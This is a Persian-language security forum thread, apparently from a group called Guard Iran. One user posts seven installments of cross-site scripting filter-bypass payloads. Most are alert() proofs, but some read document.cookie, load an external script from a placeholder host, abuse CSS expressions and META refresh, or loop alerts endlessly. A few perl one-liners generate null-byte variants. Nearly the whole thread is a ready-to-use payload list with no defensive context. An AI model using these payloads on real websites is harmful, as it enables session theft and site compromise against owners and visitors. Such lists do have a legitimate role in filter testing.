اموزش بایپس باگ XSS Bypass Command

C0d3!Nj3ct!0n · 5 آبان، ۱۳۹۳

با سلام

همونطور که شما دوستان می دونید باگ XSS مخفف Cross Site Scripting هست و قصد دارم در این تاپیک بای پس های باگ ( Xss Bypass Command ) را برای

اعضاء محترم تیم امنیتی گارد ایران قرار میدم .

لطفا اسپم ندید

C0d3!Nj3ct!0n · 6 آبان، ۱۳۹۳

بخش اول :

'';!--"<XSS>=&{()}

'>//\\,<'>">">"*"

'); alert('XSS

<script>alert(1);</script>

<script>alert('XSS');</script>

<IMG SRC="javascript:alert('XSS');">

<IMG SRC=javascript:alert('XSS')>

<IMG SRC=JaVaScRiPt:alert('XSS')>

<IMG SRC=javascript:alert("XSS")>

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

<scr<script>ipt>alert('XSS');</scr</script>ipt>

<script>alert(String.fromCharCode(88,83,83))</script>

<img src=foo.png onerror=alert(/xssed/) />

C0d3!Nj3ct!0n · 7 آبان، ۱۳۹۳

بخش دوم:

<style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>

<? echo('<scr)'; echo('ipt>alert(\"XSS\")</script>'); ?>

<marquee><script>alert('XSS')</script></marquee>

<IMG SRC=\"jav	ascript:alert('XSS');\">

<IMG SRC=\"jav
ascript:alert('XSS');\">

C0d3!Nj3ct!0n · 7 آبان، ۱۳۹۳

بخش سوم از سری بایپس های xss

<IMG SRC=\"javascript:alert('XSS');\">

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

"><script>alert(0)</script>

<script src=http://yoursite.com/your_files.js></script>

</title><script>alert(/xss/)</script>

</textarea><script>alert(/xss/)</script>

<IMG LOWSRC=\"javascript:alert('XSS')\">

<IMG DYNSRC=\"javascript:alert('XSS')\">

<font style='color:expression(alert(document.cookie))'>

C0d3!Nj3ct!0n · 10 آبان، ۱۳۹۳

بخش چهارم:

<img src="javascript:alert('XSS')">

<script language="JavaScript">alert('XSS')</script>

<body onunload="javascript:alert('XSS');">

<body onLoad="alert('XSS');"

[color=red' onmouseover="alert('xss')"]mouse over[/color]

"/></a></><img src=1.gif onerror=alert(1)>

window.alert("Bonjour !");

C0d3!Nj3ct!0n · 19 آبان، ۱۳۹۳

درود

بخش پنجم:

<div style="x:expression((window.r==1)?'':eval('r=1;

alert(String.fromCharCode(88,83,83));'))">

<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>

"><script alert(String.fromCharCode(88,83,83))</script>

'>><marquee><h1>XSS</h1></marquee>

'">><script>alert('XSS')</script>

C0d3!Nj3ct!0n · 2 آذر، ۱۳۹۳

بخش ششم:

'">><marquee><h1>XSS</h1></marquee>

<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">

<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">

<script>var var = 1; alert(var)</script>

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

<?='<SCRIPT>alert("XSS")</SCRIPT>'?>

<IMG SRC='vbscript:msgbox(\"XSS\")'>

" onfocus=alert(document.domain) "> <"

C0d3!Nj3ct!0n · 22 آذر، ۱۳۹۳

درود

بخش هفتم:

<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>

<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS

perl -e 'print \"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>\";' > out

perl -e 'print \"<IMG SRC=java\0script:alert(\"XSS\")>\";' > out

<br size=\"&{alert('XSS')}\">

<scrscriptipt>alert(1)</scrscriptipt>

</br style=a:expression(alert())>

</script><script>alert(1)</script>

"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

[color=red width=expression(alert(123))][color]

<BASE HREF="javascript:alert('XSS');//">

Execute(MsgBox(chr(88)&chr(83)&chr(83)))<

"></iframe><script>alert(123)</script>

<body onLoad="while(true) alert('XSS');">

'"></title><script>alert(1111)</script>

</textarea>'"><script>alert(document.cookie)</script>

'""><script language="JavaScript"> alert('X \nS \nS');</script>

ورود

اموزش بایپس باگ XSS Bypass Command

ارسال های توصیه شده

C0d3!Nj3ct!0n

لینک به دیدگاه

به اشتراک گذاری در سایت های دیگر

C0d3!Nj3ct!0n

لینک به دیدگاه

به اشتراک گذاری در سایت های دیگر

C0d3!Nj3ct!0n

لینک به دیدگاه

به اشتراک گذاری در سایت های دیگر

C0d3!Nj3ct!0n

لینک به دیدگاه

به اشتراک گذاری در سایت های دیگر

C0d3!Nj3ct!0n

لینک به دیدگاه

به اشتراک گذاری در سایت های دیگر

C0d3!Nj3ct!0n

لینک به دیدگاه

به اشتراک گذاری در سایت های دیگر

C0d3!Nj3ct!0n

لینک به دیدگاه

به اشتراک گذاری در سایت های دیگر

C0d3!Nj3ct!0n

لینک به دیدگاه

به اشتراک گذاری در سایت های دیگر

برای ارسال دیدگاه یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

ایجاد یک حساب کاربری

ورود به حساب کاربری

انجمن تیم امنیتی گارد ایران

شرکت گاردایران

شبکه های اجتماعی

نمادها

فعالیت ها

جریان فعالیت های من

Members Shop

اطلاعات مهم